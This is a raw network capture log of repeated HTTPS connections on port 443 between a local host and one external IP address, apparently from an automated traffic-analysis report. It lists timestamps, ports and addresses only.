Nov 26, 2024 09:39:11.413314104 CET	443	49757	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:11.413325071 CET	49757	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:11.413331032 CET	443	49757	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:11.603528023 CET	49758	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:11.603590012 CET	443	49758	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:11.603753090 CET	49758	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:11.603944063 CET	49758	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:11.603988886 CET	443	49758	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:11.604053020 CET	49758	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:11.629492998 CET	49759	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:11.629535913 CET	443	49759	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:11.629616976 CET	49759	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:11.630037069 CET	49759	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:11.630047083 CET	443	49759	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:12.993158102 CET	443	49759	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:12.993223906 CET	49759	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:12.999149084 CET	49759	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:12.999161959 CET	443	49759	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:12.999437094 CET	443	49759	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:13.001260996 CET	49759	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:13.043344021 CET	443	49759	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:13.502410889 CET	443	49759	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:13.502487898 CET	443	49759	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:13.502607107 CET	49759	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:13.503021955 CET	49759	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:13.503036976 CET	443	49759	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:13.710017920 CET	49760	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:13.710064888 CET	443	49760	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:13.710136890 CET	49760	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:13.710256100 CET	49760	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:13.710529089 CET	443	49760	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:13.710577965 CET	49760	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:13.719620943 CET	49761	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:13.719666958 CET	443	49761	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:13.719733953 CET	49761	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:13.720324993 CET	49761	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:13.720336914 CET	443	49761	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:15.085920095 CET	443	49761	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:15.086046934 CET	49761	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:15.087579966 CET	49761	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:15.087591887 CET	443	49761	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:15.088229895 CET	443	49761	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:15.091170073 CET	49761	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:15.131365061 CET	443	49761	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:15.599057913 CET	443	49761	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:15.599138975 CET	443	49761	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:15.599196911 CET	49761	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:15.603632927 CET	49761	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:15.603667021 CET	443	49761	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:15.603677988 CET	49761	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:15.603686094 CET	443	49761	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:15.809094906 CET	49762	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:15.809142113 CET	443	49762	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:15.809246063 CET	49762	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:15.809392929 CET	49762	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:15.809446096 CET	443	49762	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:15.809509039 CET	49762	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:15.844100952 CET	49763	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:15.844157934 CET	443	49763	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:15.844265938 CET	49763	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:15.844660044 CET	49763	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:15.844681025 CET	443	49763	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:17.307679892 CET	443	49763	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:17.307749987 CET	49763	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:17.315316916 CET	49763	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:17.315340042 CET	443	49763	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:17.315645933 CET	443	49763	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:17.365982056 CET	49763	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:17.396980047 CET	49763	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:17.443336010 CET	443	49763	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:17.839446068 CET	443	49763	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:17.839539051 CET	443	49763	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:17.839595079 CET	49763	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:17.839838028 CET	49763	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:17.839871883 CET	443	49763	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:17.839889050 CET	49763	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:17.839895964 CET	443	49763	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:18.034332991 CET	49764	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:18.034365892 CET	443	49764	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:18.034435987 CET	49764	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:18.034692049 CET	49764	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:18.034732103 CET	443	49764	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:18.034782887 CET	49764	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:18.077411890 CET	49765	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:18.077461958 CET	443	49765	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:18.077537060 CET	49765	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:18.077945948 CET	49765	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:18.077959061 CET	443	49765	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:19.539767981 CET	443	49765	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:19.539915085 CET	49765	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:19.541850090 CET	49765	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:19.541861057 CET	443	49765	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:19.542653084 CET	443	49765	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:19.543992043 CET	49765	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:19.591340065 CET	443	49765	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:20.068135023 CET	443	49765	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:20.068205118 CET	443	49765	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:20.068300009 CET	49765	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:20.068561077 CET	49765	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:20.068578959 CET	443	49765	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:20.068599939 CET	49765	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:20.068604946 CET	443	49765	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:20.258723974 CET	49766	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:20.258763075 CET	443	49766	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:20.258832932 CET	49766	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:20.260490894 CET	49766	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:20.260539055 CET	443	49766	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:20.260593891 CET	49766	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:20.273916006 CET	49767	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:20.273956060 CET	443	49767	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:20.274046898 CET	49767	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:20.274441004 CET	49767	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:20.274451017 CET	443	49767	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:21.686467886 CET	443	49767	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:21.686682940 CET	49767	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:21.688429117 CET	49767	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:21.688441038 CET	443	49767	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:21.688713074 CET	443	49767	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:21.689985037 CET	49767	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:21.735333920 CET	443	49767	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:22.205492973 CET	443	49767	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:22.205574036 CET	443	49767	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:22.205655098 CET	49767	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:22.205925941 CET	49767	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:22.205948114 CET	443	49767	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:22.205979109 CET	49767	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:22.205986023 CET	443	49767	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:22.396609068 CET	49768	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:22.396718979 CET	443	49768	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:22.396804094 CET	49768	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:22.397286892 CET	49768	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:22.397340059 CET	443	49768	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:22.397396088 CET	49768	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:22.410361052 CET	49769	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:22.410406113 CET	443	49769	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:22.410478115 CET	49769	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:22.411034107 CET	49769	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:22.411051989 CET	443	49769	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:23.870831013 CET	443	49769	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:23.870914936 CET	49769	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:23.872350931 CET	49769	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:23.872366905 CET	443	49769	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:23.872608900 CET	443	49769	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:23.873832941 CET	49769	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:23.919336081 CET	443	49769	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:24.399254084 CET	443	49769	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:24.399337053 CET	443	49769	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:24.399406910 CET	49769	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:24.399705887 CET	49769	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:24.399730921 CET	443	49769	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:24.399743080 CET	49769	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:24.399749041 CET	443	49769	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:24.587629080 CET	49770	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:24.587686062 CET	443	49770	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:24.587788105 CET	49770	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:24.588295937 CET	49770	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:24.588335037 CET	443	49770	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:24.588377953 CET	49770	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:24.600043058 CET	49771	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:24.600084066 CET	443	49771	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:24.600147009 CET	49771	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:24.600521088 CET	49771	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:24.600531101 CET	443	49771	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:26.009758949 CET	443	49771	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:26.009877920 CET	49771	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:26.013333082 CET	49771	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:26.013345003 CET	443	49771	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:26.013633013 CET	443	49771	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:26.015000105 CET	49771	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:26.059338093 CET	443	49771	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:26.529093981 CET	443	49771	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:26.529165030 CET	443	49771	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:26.529231071 CET	49771	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:26.530807972 CET	49771	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:26.530829906 CET	443	49771	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:26.530841112 CET	49771	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:26.530847073 CET	443	49771	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:26.732256889 CET	49772	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:26.732300997 CET	443	49772	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:26.732398033 CET	49772	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:26.779094934 CET	49772	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:26.779174089 CET	443	49772	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:26.779249907 CET	49772	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:26.905205011 CET	49773	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:26.905262947 CET	443	49773	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:26.905337095 CET	49773	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:26.906086922 CET	49773	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:26.906096935 CET	443	49773	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:28.366391897 CET	443	49773	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:28.366488934 CET	49773	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:28.367933989 CET	49773	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:28.367944956 CET	443	49773	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:28.368211985 CET	443	49773	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:28.375662088 CET	49773	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:28.423324108 CET	443	49773	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:28.901194096 CET	443	49773	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:28.901360035 CET	443	49773	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:28.901431084 CET	49773	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:28.903331995 CET	49773	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:28.903348923 CET	443	49773	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:28.903362036 CET	49773	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:28.903367996 CET	443	49773	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:29.094878912 CET	49774	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:29.094912052 CET	443	49774	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:29.095010042 CET	49774	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:29.136389017 CET	49774	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:29.136451006 CET	443	49774	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:29.136519909 CET	49774	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:29.192125082 CET	49775	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:29.192168951 CET	443	49775	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:29.192230940 CET	49775	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:29.192709923 CET	49775	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:29.192719936 CET	443	49775	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:30.558624983 CET	443	49775	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:30.558806896 CET	49775	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:30.562918901 CET	49775	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:30.562941074 CET	443	49775	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:30.563272953 CET	443	49775	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:30.567486048 CET	49775	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:30.611336946 CET	443	49775	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:31.070908070 CET	443	49775	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:31.070974112 CET	443	49775	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:31.071105003 CET	49775	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:31.071439981 CET	49775	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:31.071451902 CET	443	49775	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:31.071464062 CET	49775	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:31.071470022 CET	443	49775	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:31.260497093 CET	49776	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:31.260560989 CET	443	49776	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:31.260667086 CET	49776	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:31.260773897 CET	49776	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:31.260807991 CET	443	49776	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:31.262037992 CET	49776	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:31.270890951 CET	49777	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:31.270982981 CET	443	49777	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:31.271086931 CET	49777	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:31.271445990 CET	49777	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:31.271466970 CET	443	49777	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:32.727344036 CET	443	49777	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:32.727423906 CET	49777	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:32.728833914 CET	49777	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:32.728842974 CET	443	49777	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:32.729100943 CET	443	49777	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:32.730367899 CET	49777	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:32.775336981 CET	443	49777	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:33.255268097 CET	443	49777	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:33.255352974 CET	443	49777	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:33.255409002 CET	49777	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:33.255779028 CET	49777	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:33.255799055 CET	443	49777	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:33.255811930 CET	49777	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:33.255817890 CET	443	49777	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:33.440315962 CET	49778	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:33.440375090 CET	443	49778	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:33.440481901 CET	49778	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:33.440649986 CET	49778	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:33.440692902 CET	443	49778	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:33.440745115 CET	49778	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:33.450202942 CET	49779	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:33.450253963 CET	443	49779	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:33.450403929 CET	49779	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:33.450745106 CET	49779	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:33.450769901 CET	443	49779	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:34.821706057 CET	443	49779	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:34.821872950 CET	49779	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:34.841777086 CET	49779	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:34.841809034 CET	443	49779	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:34.842102051 CET	443	49779	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:34.843332052 CET	49779	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:34.891339064 CET	443	49779	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:35.331897974 CET	443	49779	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:35.331979036 CET	443	49779	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:35.332088947 CET	49779	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:35.332588911 CET	49779	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:35.332603931 CET	443	49779	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:35.332616091 CET	49779	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:35.332621098 CET	443	49779	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:35.518110991 CET	49780	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:35.518167973 CET	443	49780	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:35.518315077 CET	49780	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:35.518533945 CET	49780	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:35.518564939 CET	443	49780	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:35.518615007 CET	49780	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:35.528208971 CET	49781	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:35.528238058 CET	443	49781	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:35.528337002 CET	49781	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:35.528708935 CET	49781	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:35.528723001 CET	443	49781	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:36.950300932 CET	443	49781	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:36.950460911 CET	49781	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:36.952209949 CET	49781	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:36.952219009 CET	443	49781	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:36.952527046 CET	443	49781	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:36.953789949 CET	49781	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:36.999326944 CET	443	49781	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:37.478655100 CET	443	49781	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:37.478755951 CET	443	49781	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:37.478837013 CET	49781	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:37.481559038 CET	49781	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:37.481559038 CET	49781	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:37.481579065 CET	443	49781	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:37.481590033 CET	443	49781	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:37.669814110 CET	49782	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:37.669888973 CET	443	49782	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:37.670018911 CET	49782	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:37.673798084 CET	49782	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:37.673861027 CET	443	49782	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:37.673932076 CET	49782	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:37.683752060 CET	49783	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:37.683783054 CET	443	49783	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:37.683867931 CET	49783	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:37.684283972 CET	49783	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:37.684292078 CET	443	49783	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:39.146503925 CET	443	49783	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:39.147342920 CET	49783	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:39.148179054 CET	49783	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:39.148185968 CET	443	49783	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:39.148473978 CET	443	49783	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:39.149878025 CET	49783	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:39.191333055 CET	443	49783	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:39.675251007 CET	443	49783	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:39.675342083 CET	443	49783	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:39.675446033 CET	49783	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:39.675729036 CET	49783	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:39.675746918 CET	443	49783	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:39.675757885 CET	49783	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:39.675764084 CET	443	49783	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:39.887594938 CET	49784	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:39.887655020 CET	443	49784	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:39.887789965 CET	49784	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:39.894759893 CET	49784	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:39.894817114 CET	443	49784	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:39.894876957 CET	49784	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:39.904347897 CET	49785	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:39.904387951 CET	443	49785	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:39.904459000 CET	49785	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:39.904925108 CET	49785	443	192.168.2.4	50.7.187.218
Nov 26, 2024 09:39:39.904937983 CET	443	49785	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:41.275604010 CET	443	49785	50.7.187.218	192.168.2.4
Nov 26, 2024 09:39:41.275676012 CET	49785	443	192.168.2.4	50.7.187.218
